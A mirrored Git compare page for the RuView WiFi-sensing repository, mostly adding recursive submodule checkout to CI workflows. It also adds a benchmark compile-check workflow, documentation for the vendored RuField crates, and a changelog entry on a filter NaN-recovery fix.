mirror of
https://github.com/ruvnet/RuView
synced 2026-06-16 11:23:19 +00:00
Compare commits
31 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| b0b203d088 | |||
| cafbeb1e81 | |||
| c859f6f743 | |||
| 10c813fde3 | |||
| 20ad75f30c | |||
| 1df6d1e1ee | |||
| 4a083999e5 | |||
| 0f64d23516 | |||
| b209b8b778 | |||
| 90a88ada9a | |||
| cfd0ad76cf | |||
| 71e8756051 | |||
| 5287497a4a | |||
| bf1dfe79fd | |||
| 9b126e927e | |||
| 41bee64593 | |||
| 5bc3b634b7 | |||
| e1f4897269 | |||
| 9f80b66ae3 | |||
| 02cb84e0bb | |||
| ebfaee4437 | |||
| db3d94a313 | |||
| a369fbe66e | |||
| d2089c342a | |||
| 306d009e72 | |||
| df617145d6 | |||
| f250149e94 | |||
| faca0530de | |||
| 6f6c867629 | |||
| 95a5ecc746 | |||
| 1f05456588 |
@@ -33,6 +33,8 @@ jobs:
|
||||
working-directory: v2
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
|
||||
- name: Install Rust toolchain
|
||||
run: rustup show && rustc --version
|
||||
|
||||
@@ -0,0 +1,199 @@
|
||||
name: Bench Regression Guard
|
||||
|
||||
# Sub-deliverable 8.3 of the benchmark/optimization milestone.
|
||||
#
|
||||
# HONEST SCOPE (read this before assuming this gates on timing):
|
||||
# * The `bench-compile` job is a REAL, HARD-FAILING regression gate. It runs
|
||||
# `cargo bench --no-default-features --no-run`, which type-checks and links
|
||||
# EVERY criterion bench in the v2/ workspace without running a single
|
||||
# measurement. Benches are not part of `cargo test`, so they silently
|
||||
# bit-rot when a public API they call changes — this job catches that the
|
||||
# moment it happens. This is the part of this workflow that can fail a PR.
|
||||
#
|
||||
# * The `bench-fast-run` job runs a small, curated subset of pure-CPU benches
|
||||
# in criterion "quick mode" (short warm-up / measurement / 10 samples) and
|
||||
# is INFORMATIONAL ONLY (`continue-on-error: true`). It does NOT gate on
|
||||
# timing. Wall-clock timings on shared GitHub-hosted runners vary by
|
||||
# 2-3x run-to-run (noisy neighbours, CPU throttling, no pinned frequency),
|
||||
# so a hard ">X ms" threshold here would flake constantly and teach
|
||||
# everyone to ignore it. We deliberately do not pretend to do timing
|
||||
# regression-gating we cannot deliver reliably. The numbers are surfaced in
|
||||
# the job log + uploaded as an artifact for humans to eyeball trends.
|
||||
#
|
||||
# WHY NO criterion --baseline COMPARE GATE:
|
||||
# criterion's `--save-baseline` / `--baseline` compare is the textbook
|
||||
# regression mechanism, but it only produces a trustworthy verdict when the
|
||||
# baseline and the candidate were measured on the SAME hardware under the SAME
|
||||
# conditions. GitHub-hosted runners give neither (the baseline commit and the
|
||||
# PR commit land on different physical machines). Committing a baseline JSON
|
||||
# measured on one runner and comparing a different runner against it would
|
||||
# manufacture false regressions. If/when these benches run on a dedicated,
|
||||
# frequency-pinned self-hosted runner, a `--baseline` compare with a generous
|
||||
# (>2x) noise floor becomes honest and can be added then. Until then,
|
||||
# compile-verify + informational-run is the honest gate.
|
||||
|
||||
on:
|
||||
push:
|
||||
branches: [ main, develop, 'feat/*' ]
|
||||
paths:
|
||||
- 'v2/crates/**/benches/**'
|
||||
- 'v2/crates/**/Cargo.toml'
|
||||
- 'v2/crates/**/src/**'
|
||||
- 'v2/Cargo.toml'
|
||||
- 'v2/Cargo.lock'
|
||||
- '.github/workflows/bench-regression.yml'
|
||||
pull_request:
|
||||
paths:
|
||||
- 'v2/crates/**/benches/**'
|
||||
- 'v2/crates/**/Cargo.toml'
|
||||
- 'v2/crates/**/src/**'
|
||||
- 'v2/Cargo.toml'
|
||||
- 'v2/Cargo.lock'
|
||||
- '.github/workflows/bench-regression.yml'
|
||||
workflow_dispatch:
|
||||
|
||||
permissions:
|
||||
contents: read
|
||||
|
||||
env:
|
||||
CARGO_TERM_COLOR: always
|
||||
# Debuginfo is useless in CI and the 38-crate workspace target dir otherwise
|
||||
# exhausts the runner disk (mirrors ci.yml's rust-tests job). The bench
|
||||
# profile inherits release + debug = true (v2/Cargo.toml [profile.bench]);
|
||||
# force it off so the link step does not run out of space.
|
||||
CARGO_PROFILE_BENCH_DEBUG: "0"
|
||||
CARGO_PROFILE_RELEASE_DEBUG: "0"
|
||||
|
||||
jobs:
|
||||
# ── HARD GATE: every bench must still compile + link ─────────────────────
|
||||
bench-compile:
|
||||
name: bench compile-verify (--no-run)
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Checkout (recursive — wifi-densepose-rufield path-deps vendor/rufield)
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
# The workspace includes `wifi-densepose-rufield`, which path-deps the
|
||||
# `vendor/rufield` submodule crates. Without a recursive checkout the
|
||||
# whole workspace fails to resolve before any bench is built.
|
||||
submodules: recursive
|
||||
|
||||
# The workspace pulls in `wifi-densepose-desktop` (Tauri v2) whose -sys
|
||||
# crates need the GTK/WebKit/serial dev libraries via pkg-config, exactly
|
||||
# as ci.yml's rust-tests job documents. A `--workspace` bench build links
|
||||
# the whole graph, so these are required here too.
|
||||
- name: Install Tauri / GTK / serial system dev libraries
|
||||
run: |
|
||||
sudo apt-get update
|
||||
sudo apt-get install -y --no-install-recommends \
|
||||
libglib2.0-dev \
|
||||
libgtk-3-dev \
|
||||
libsoup-3.0-dev \
|
||||
libjavascriptcoregtk-4.1-dev \
|
||||
libwebkit2gtk-4.1-dev \
|
||||
libayatana-appindicator3-dev \
|
||||
librsvg2-dev \
|
||||
libxdo-dev \
|
||||
libudev-dev \
|
||||
libdbus-1-dev \
|
||||
libssl-dev \
|
||||
pkg-config
|
||||
|
||||
- name: Install Rust toolchain
|
||||
uses: dtolnay/rust-toolchain@stable
|
||||
|
||||
- name: Cache cargo (Swatinem/rust-cache)
|
||||
uses: Swatinem/rust-cache@v2
|
||||
with:
|
||||
workspaces: v2
|
||||
# Distinct cache scope from ci.yml's rust-tests so the bench profile
|
||||
# artifacts (release+opt) do not evict the test profile cache.
|
||||
key: bench-regression
|
||||
|
||||
# The core regression guard. `--no-run` compiles + links every bench
|
||||
# target in the workspace's DEFAULT feature set but runs no measurement,
|
||||
# so it is deterministic and fast-ish (build only). A bench that no longer
|
||||
# compiles — because a type/signature it calls changed and nobody updated
|
||||
# the bench — fails the build here. `--no-default-features` is the
|
||||
# workspace's standard gate flag (openblas/tch/ort/onnx stay opt-out).
|
||||
- name: Compile all workspace benches (default features)
|
||||
working-directory: v2
|
||||
run: cargo bench --workspace --no-default-features --no-run
|
||||
|
||||
# Feature-gated benches are skipped by the default build above because
|
||||
# their `[[bench]]` entries carry `required-features`. Compile the ones we
|
||||
# can guard so they are also covered against bit-rot.
|
||||
# * cir → wifi-densepose-signal/benches/cir_bench.rs (ADR-134). The
|
||||
# `cir` feature is pure-Rust (`cir = []`), so it builds on the stock
|
||||
# runner and is a real, hard-failing guard like the step above.
|
||||
#
|
||||
# NOT guarded here (honest scope):
|
||||
# * crv → wifi-densepose-ruvector/benches/crv_bench.rs. The `crv` feature
|
||||
# pulls the crates.io dependency `ruvector-crv 0.1.1`, which currently
|
||||
# FAILS to compile on stable (E0308 type mismatch in its own
|
||||
# `stage_iii.rs` — an UPSTREAM bug, unrelated to bench bit-rot).
|
||||
# Adding a hard `--features crv` compile step would make this workflow
|
||||
# red for a reason this gate is not meant to police. Re-add this step
|
||||
# once `ruvector-crv` ships a fixed release. (mqtt/onnx benches are
|
||||
# likewise left to their own crate workflows.)
|
||||
- name: Compile feature-gated benches (cir)
|
||||
working-directory: v2
|
||||
run: cargo bench -p wifi-densepose-signal --no-default-features --features cir --bench cir_bench --no-run
|
||||
|
||||
# ── INFORMATIONAL: run a curated fast subset (never gates) ───────────────
|
||||
bench-fast-run:
|
||||
name: bench fast-run (informational, non-gating)
|
||||
runs-on: ubuntu-latest
|
||||
# NEVER fail the workflow on this job — timings are noise-prone on shared
|
||||
# runners (see header). It exists to surface trends for humans, not to gate.
|
||||
continue-on-error: true
|
||||
needs: [bench-compile]
|
||||
steps:
|
||||
- name: Checkout (recursive)
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
|
||||
- name: Install Rust toolchain
|
||||
uses: dtolnay/rust-toolchain@stable
|
||||
|
||||
- name: Cache cargo (Swatinem/rust-cache)
|
||||
uses: Swatinem/rust-cache@v2
|
||||
with:
|
||||
workspaces: v2
|
||||
key: bench-regression
|
||||
|
||||
# Curated subset = pure-CPU, fast, dependency-light criterion benches that
|
||||
# finish in seconds under quick-mode flags. Each is targeted by `--bench`
|
||||
# (NOT a bare `cargo bench -p`) because the crates' lib targets use the
|
||||
# libtest harness, which rejects criterion's CLI flags (--warm-up-time
|
||||
# etc.) and aborts the run. Quick-mode: 1s warm-up, 2s measure, 10 samples.
|
||||
- name: nvsim pipeline_throughput (quick)
|
||||
working-directory: v2
|
||||
run: |
|
||||
mkdir -p ../bench-out
|
||||
cargo bench -p nvsim --no-default-features --bench pipeline_throughput -- \
|
||||
--warm-up-time 1 --measurement-time 2 --sample-size 10 \
|
||||
| tee ../bench-out/nvsim_pipeline_throughput.txt
|
||||
|
||||
- name: ruvector sketch_bench (quick)
|
||||
working-directory: v2
|
||||
run: |
|
||||
cargo bench -p wifi-densepose-ruvector --no-default-features --bench sketch_bench -- \
|
||||
--warm-up-time 1 --measurement-time 2 --sample-size 10 \
|
||||
| tee ../bench-out/ruvector_sketch_bench.txt
|
||||
|
||||
- name: ruvector fusion_bench (quick)
|
||||
working-directory: v2
|
||||
run: |
|
||||
cargo bench -p wifi-densepose-ruvector --no-default-features --bench fusion_bench -- \
|
||||
--warm-up-time 1 --measurement-time 2 --sample-size 10 \
|
||||
| tee ../bench-out/ruvector_fusion_bench.txt
|
||||
|
||||
- name: Upload informational bench logs
|
||||
if: always()
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: bench-fast-run-logs
|
||||
path: bench-out/
|
||||
if-no-files-found: warn
|
||||
@@ -53,6 +53,8 @@ jobs:
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
|
||||
- name: Install Rust toolchain
|
||||
uses: dtolnay/rust-toolchain@stable
|
||||
|
||||
@@ -42,6 +42,8 @@ jobs:
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
|
||||
- name: Determine deployment environment
|
||||
id: determine-env
|
||||
@@ -86,6 +88,8 @@ jobs:
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
|
||||
- name: Set up kubectl
|
||||
uses: azure/setup-kubectl@v3
|
||||
@@ -132,6 +136,8 @@ jobs:
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
|
||||
- name: Set up kubectl
|
||||
uses: azure/setup-kubectl@v3
|
||||
|
||||
@@ -29,6 +29,7 @@ jobs:
|
||||
continue-on-error: true
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
fetch-depth: 0
|
||||
|
||||
- name: Set up Python
|
||||
@@ -82,6 +83,13 @@ jobs:
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
# ADR-262 P1: `wifi-densepose-rufield` path-deps the `vendor/rufield`
|
||||
# submodule. Without a recursive checkout the workspace build fails to
|
||||
# resolve those path deps in CI even though it passes locally.
|
||||
with:
|
||||
submodules: recursive
|
||||
|
||||
# `wifi-densepose-desktop` is a Tauri v2 app — `glib-sys`, `gtk-sys`,
|
||||
# `webkit2gtk-sys`, etc. need the Linux dev libraries via pkg-config or the
|
||||
@@ -202,6 +210,8 @@ jobs:
|
||||
- name: Checkout code
|
||||
continue-on-error: true
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
|
||||
- name: Set up Python ${{ matrix.python-version }}
|
||||
continue-on-error: true
|
||||
@@ -267,6 +277,8 @@ jobs:
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
|
||||
- name: Set up Python
|
||||
uses: actions/setup-python@v6
|
||||
@@ -335,6 +347,8 @@ jobs:
|
||||
- name: Checkout code
|
||||
continue-on-error: true
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
|
||||
- name: Set up Docker Buildx
|
||||
continue-on-error: true
|
||||
@@ -407,6 +421,8 @@ jobs:
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
|
||||
- name: Set up Python
|
||||
uses: actions/setup-python@v6
|
||||
|
||||
@@ -35,6 +35,8 @@ jobs:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
|
||||
- name: Fetch /traffic/clones + /traffic/views from GitHub
|
||||
env:
|
||||
|
||||
@@ -28,6 +28,8 @@ jobs:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
|
||||
- name: Setup Rust
|
||||
uses: dtolnay/rust-toolchain@stable
|
||||
@@ -78,6 +80,8 @@ jobs:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
|
||||
- name: Setup Rust
|
||||
uses: dtolnay/rust-toolchain@stable
|
||||
@@ -145,6 +149,8 @@ jobs:
|
||||
vars.HAS_GCP_CREDENTIALS == 'true'
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
|
||||
- name: Download x86_64 artifact
|
||||
uses: actions/download-artifact@v4
|
||||
|
||||
@@ -20,6 +20,8 @@ jobs:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
|
||||
- uses: dtolnay/rust-toolchain@stable
|
||||
with: { targets: wasm32-unknown-unknown }
|
||||
|
||||
@@ -26,6 +26,8 @@ jobs:
|
||||
steps:
|
||||
- name: Checkout main
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
|
||||
- name: Install Rust + wasm32 target
|
||||
uses: dtolnay/rust-toolchain@stable
|
||||
|
||||
@@ -28,6 +28,8 @@ jobs:
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
|
||||
- name: Setup Node.js
|
||||
uses: actions/setup-node@v6
|
||||
@@ -83,6 +85,8 @@ jobs:
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
|
||||
- name: Setup Node.js
|
||||
uses: actions/setup-node@v6
|
||||
@@ -131,6 +135,8 @@ jobs:
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
|
||||
- name: Download all artifacts
|
||||
uses: actions/download-artifact@v4
|
||||
|
||||
@@ -22,6 +22,8 @@ jobs:
|
||||
if: github.ref_type == 'tag'
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
- name: Check firmware version.txt == tag
|
||||
run: |
|
||||
# Tag form: vX.Y.Z-esp32 → expect version.txt to contain X.Y.Z
|
||||
@@ -71,6 +73,8 @@ jobs:
|
||||
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
|
||||
- name: Build firmware (${{ matrix.variant }})
|
||||
working-directory: firmware/esp32-csi-node
|
||||
|
||||
@@ -100,6 +100,8 @@ jobs:
|
||||
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
|
||||
- name: Download QEMU artifact
|
||||
uses: actions/download-artifact@v4
|
||||
@@ -214,6 +216,8 @@ jobs:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
|
||||
- name: Install clang
|
||||
run: |
|
||||
@@ -263,6 +267,8 @@ jobs:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
|
||||
- name: Install NVS generator
|
||||
run: pip install esp-idf-nvs-partition-gen
|
||||
@@ -317,6 +323,8 @@ jobs:
|
||||
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
|
||||
- name: Download QEMU artifact
|
||||
uses: actions/download-artifact@v4
|
||||
|
||||
@@ -22,6 +22,8 @@ jobs:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
|
||||
- uses: actions/setup-python@v6
|
||||
with:
|
||||
|
||||
@@ -41,6 +41,8 @@ jobs:
|
||||
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
|
||||
- name: Install mosquitto + clients and start with allow_anonymous
|
||||
run: |
|
||||
|
||||
@@ -26,6 +26,8 @@ jobs:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
|
||||
- uses: docker/setup-buildx-action@v3
|
||||
|
||||
|
||||
@@ -76,6 +76,8 @@ jobs:
|
||||
runs-on: ${{ matrix.os }}
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
|
||||
# Linux aarch64 needs QEMU for cross-build on x86_64 runners.
|
||||
- name: Set up QEMU
|
||||
@@ -121,6 +123,8 @@ jobs:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
- name: Install maturin
|
||||
run: pip install maturin>=1.7
|
||||
- name: Build sdist
|
||||
@@ -144,6 +148,8 @@ jobs:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
- uses: actions/setup-python@v5
|
||||
with:
|
||||
python-version: '3.12'
|
||||
|
||||
@@ -29,6 +29,8 @@ jobs:
|
||||
steps:
|
||||
- name: Checkout main
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
|
||||
- name: Stage viewer for Pages
|
||||
run: |
|
||||
|
||||
@@ -40,6 +40,8 @@ jobs:
|
||||
- { label: 'full+train', flags: '--features full,train' }
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
- uses: dtolnay/rust-toolchain@stable
|
||||
- name: Cache cargo
|
||||
uses: actions/cache@v4
|
||||
@@ -60,6 +62,8 @@ jobs:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
# v2/rust-toolchain.toml pins channel "1.89" with profile "minimal" (no
|
||||
# clippy). dtolnay@stable installs clippy on the floating "stable"
|
||||
# toolchain, but the override makes cargo use the separate "1.89"
|
||||
@@ -93,6 +97,8 @@ jobs:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
- uses: dtolnay/rust-toolchain@stable
|
||||
- name: Cache cargo
|
||||
uses: actions/cache@v4
|
||||
@@ -127,6 +133,8 @@ jobs:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
- name: publish = false is present (no accidental crates.io publish)
|
||||
run: |
|
||||
CARGO=v2/crates/ruview-swarm/Cargo.toml
|
||||
|
||||
@@ -28,6 +28,7 @@ jobs:
|
||||
continue-on-error: true
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
fetch-depth: 0
|
||||
|
||||
- name: Set up Python
|
||||
@@ -97,6 +98,8 @@ jobs:
|
||||
- name: Checkout code
|
||||
continue-on-error: true
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
|
||||
- name: Set up Python
|
||||
continue-on-error: true
|
||||
@@ -164,6 +167,8 @@ jobs:
|
||||
- name: Checkout code
|
||||
continue-on-error: true
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
|
||||
- name: Set up Docker Buildx
|
||||
continue-on-error: true
|
||||
@@ -245,6 +250,8 @@ jobs:
|
||||
- name: Checkout code
|
||||
continue-on-error: true
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
|
||||
- name: Run Checkov IaC scan
|
||||
continue-on-error: true
|
||||
@@ -307,6 +314,7 @@ jobs:
|
||||
continue-on-error: true
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
fetch-depth: 0
|
||||
|
||||
- name: Run TruffleHog secret scan
|
||||
@@ -341,6 +349,8 @@ jobs:
|
||||
- name: Checkout code
|
||||
continue-on-error: true
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
|
||||
- name: Set up Python
|
||||
continue-on-error: true
|
||||
@@ -378,6 +388,8 @@ jobs:
|
||||
- name: Checkout code
|
||||
continue-on-error: true
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
|
||||
- name: Check security policy files
|
||||
continue-on-error: true
|
||||
|
||||
@@ -30,6 +30,8 @@ jobs:
|
||||
steps:
|
||||
- name: Checkout main
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
|
||||
- name: Stage demos for Pages
|
||||
run: |
|
||||
|
||||
@@ -30,6 +30,8 @@ jobs:
|
||||
steps:
|
||||
- name: Checkout repository
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
submodules: recursive
|
||||
|
||||
- name: Set up Python ${{ matrix.python-version }}
|
||||
uses: actions/setup-python@v6
|
||||
|
||||
File diff suppressed because one or more lines are too long
@@ -22,7 +22,8 @@ Dual codebase: Python v1 (`v1/`) and Rust port (`v2/`).
|
||||
| `wifi-densepose-vitals` | ESP32 CSI-grade vital sign extraction (ADR-021) |
|
||||
| `nvsim` | Deterministic NV-diamond magnetometer pipeline simulator (ADR-089) — standalone leaf, WASM-ready |
|
||||
| `vendor/rvcsi` (submodule) | **rvCSI** — edge RF sensing runtime (ADR-095/096): 9 crates (`rvcsi-core`/`-dsp`/`-events`/`-adapter-file`/`-adapter-nexmon`/`-ruvector`/`-runtime`/`-node`/`-cli`). Lives in its own repo ([github.com/ruvnet/rvcsi](https://github.com/ruvnet/rvcsi)), vendored here under `vendor/rvcsi`, published to crates.io as `rvcsi-* 0.3.x` and to npm as `@ruv/rvcsi`. Not a `v2/` workspace member — depend on the published crates (or the submodule's `crates/rvcsi-*` paths). Normalized `CsiFrame`/`CsiWindow`/`CsiEvent` schema, validate-before-FFI, reusable DSP, typed confidence-scored events, the napi-c Nexmon shim (real nexmon_csi `.pcap` from a Raspberry Pi 5 / 4 / 3B+ — BCM43455c0), the napi-rs SDK, the `rvcsi` CLI, a Claude Code plugin. |
|
||||
| `vendor/rufield` (submodule) | **RuField MFS** — the open spec for camera-free multimodal field sensing (ADR-260). A common `FieldEvent`/`FieldTensor`/`FusionGraph`/`PrivacyClass`/`ProvenanceReceipt` model *above* WiFi CSI/CIR/BFLD, UWB, BLE Channel Sounding, mmWave radar, ultrasound, subsonic, infrared, and quantum sensors. Lives in its own repo ([github.com/ruvnet/rufield](https://github.com/ruvnet/rufield)), vendored here under `vendor/rufield`. Not a `v2/` workspace member. v0.1 reference stack = 6 crates (`rufield-core`/`-provenance`/`-privacy`/`-adapters`/`-fusion`/`-bench`), 60 tests/0 failed; all benchmark metrics are **SYNTHETIC** (simulator ground truth, no hardware — real adapters are roadmap). |
|
||||
| `vendor/rufield` (submodule) | **RuField MFS** — the open spec for camera-free multimodal field sensing (ADR-260). A common `FieldEvent`/`FieldTensor`/`FusionGraph`/`PrivacyClass`/`ProvenanceReceipt` model *above* WiFi CSI/CIR/BFLD, UWB, BLE Channel Sounding, mmWave radar, ultrasound, subsonic, infrared, and quantum sensors. Lives in its own repo ([github.com/ruvnet/rufield](https://github.com/ruvnet/rufield)), vendored here under `vendor/rufield`. Not a `v2/` workspace member. v0.1 reference stack = 7 crates (`rufield-core`/`-provenance`/`-privacy`/`-adapters`/`-fusion`/`-bench`/`-viewer`), 72 tests/0 failed; `rufield-viewer` is an Axum + vanilla-JS read-only dashboard (`cargo run -p rufield-viewer`) completing ADR-260 §27.9. The WiFi-CSI modality is now **real-replay-backed** via `CsiReplayAdapter` (ingests real captured `.csi.jsonl` → fused presence/breathing inferences; replay-from-file, unlabeled CSI-variance proxy, not validated accuracy); mmWave/thermal + all synthetic-bench F1 numbers remain **SYNTHETIC** (no live hardware — live streaming + labeled accuracy are roadmap). |
|
||||
| `wifi-densepose-rufield` | ADR-262 P1 **anti-corruption bridge** — converts RuView WiFi-CSI sensing output (`SensingSnapshot` mirroring `SensingUpdate` + `TrustedOutput`, owned primitives, no dep on `wifi-densepose-sensing-server`) into **signed RuField `FieldEvent`s** (`Modality::WifiCsi`, real `timestamp_ns`, sha256 + ed25519 provenance, `synthetic=false`). The single coupling point between RuView and the standalone RuField MFS spec (§5.4); path-deps the `vendor/rufield` submodule crates (`rufield-core`/`-provenance`/`-privacy`/`-fusion`). **Critical §3.3 privacy mapping** (`map_privacy`): maps RuView class → RuField P0–P5 by **information content, never byte value**, fail-closed (`Derived → P4/P5`, never P1; `demoted` floors to ≥ P2). 15 tests / 0 failed (round-trip / `is_fusable` / fusion-ingest / privacy-safety / determinism). P1 plumbing — not wired into the live server (P3), no accuracy claim. |
|
||||
| `ruview-swarm` | Drone swarm control system (ADR-148) — hierarchical-mesh topology, Raft consensus, MARL, CSI sensing payload, MAVLink/PX4 compat, Ruflo AI-agent integration |
|
||||
|
||||
### RuvSense Modules (`signal/src/ruvsense/`)
|
||||
|
||||
@@ -14,6 +14,13 @@ COPY v2/crates/ ./crates/
|
||||
# Copy vendored RuVector crates
|
||||
COPY vendor/ruvector/ /build/vendor/ruvector/
|
||||
|
||||
# Copy vendored RuField submodule — the `wifi-densepose-rufield` bridge crate
|
||||
# (ADR-262) path-deps `../../../vendor/rufield/crates/*`, which from the Docker
|
||||
# build layout (v2/ collapsed into /build) resolves to /vendor/rufield. Copy the
|
||||
# whole tree so the rufield workspace Cargo.toml (workspace-dep inheritance) and
|
||||
# the four bridged crates (rufield-core/-provenance/-privacy/-fusion) all resolve.
|
||||
COPY vendor/rufield/ /vendor/rufield/
|
||||
|
||||
# Build release binaries:
|
||||
# - sensing-server with `mqtt` feature so the HA-DISCO MQTT publisher
|
||||
# (ADR-115) is wired in (auto-discovery topics flow to Home Assistant)
|
||||
|
||||
@@ -1092,6 +1092,12 @@ Two robustness bugs were fixed in the on-device edge path (`firmware/esp32-csi-n
|
||||
|
||||
Both are pinned by host-buildable C99 tests in `firmware/esp32-csi-node/test/test_vitals_count_presence.c` (`make run_vitals`). The exact thresholds are documented constants pending on-device calibration against ground truth.
|
||||
|
||||
### 2026-06 — Rust `wifi-densepose-vitals`: IIR filter NaN/inf self-heal (ADR-158 §A1)
|
||||
|
||||
A correctness/safety review of the Rust extraction crate found a real bug parallel to the firmware robustness class above. The 2nd-order resonator `bandpass_filter` in both `breathing.rs` and `heartrate.rs` latches each output `y[n]` into its filter state (`y1`/`y2`). A single non-finite amplitude residual from a corrupt CSI frame produced a NaN `output` that was written into the state; the existing `extract()` `is_finite()` guard dropped that one sample from the history buffer **but never sanitized the poisoned filter state**, so every later output stayed NaN, was rejected too, and the sliding-window history never refilled — breathing **and** heart-rate extraction went silently dead (returning `None` forever) until `reset()`. On the alert path this is a safety-relevant denial of service (one bad frame stops vitals monitoring with no error surfaced).
|
||||
|
||||
Fix: when `bandpass_filter` computes a non-finite `output`, it resets the IIR state to default and returns `0.0`, so the resonator self-heals on the next clean frame (the `0.0` is still dropped by the caller's finite-check, so no spurious sample enters history). Same shape as the calibration NaN bug (ADR-154 §3) — the prior hardening guarded the *history boundary* but not the *filter-state boundary*. Pinned by `breathing::tests::nan_frame_does_not_permanently_poison_filter`, `breathing::tests::inf_mid_stream_does_not_freeze_history`, and `heartrate::tests::nan_frame_does_not_permanently_poison_filter` (all FAIL pre-fix, verified by reverting). The review also de-magicked the HR physiological plausibility band into named `HR_PLAUSIBLE_MIN_BPM`/`HR_PLAUSIBLE_MAX_BPM` consts (value-identical 40/180 BPM) and added a fabricated-vital negative (`pure_noise_is_never_reported_valid` — broadband noise never yields a clinically `Valid` HR; the extractor honestly returns low-confidence `Unreliable`). Clean dimensions confirmed with evidence: flat/silent input → `None`; pure noise → low-confidence `Unreliable`, never `Valid`; harmonic-rich breathing with no cardiac component → low-confidence, not a confident false HR; out-of-band BPM rejected by the plausibility clamp.
|
||||
|
||||
## References
|
||||
|
||||
- Ramsauer et al. (2020). "Hopfield Networks is All You Need." ICLR 2021. (ModernHopfield formulation)
|
||||
|
||||
@@ -104,6 +104,57 @@ Ranked by build cost × user impact:
|
||||
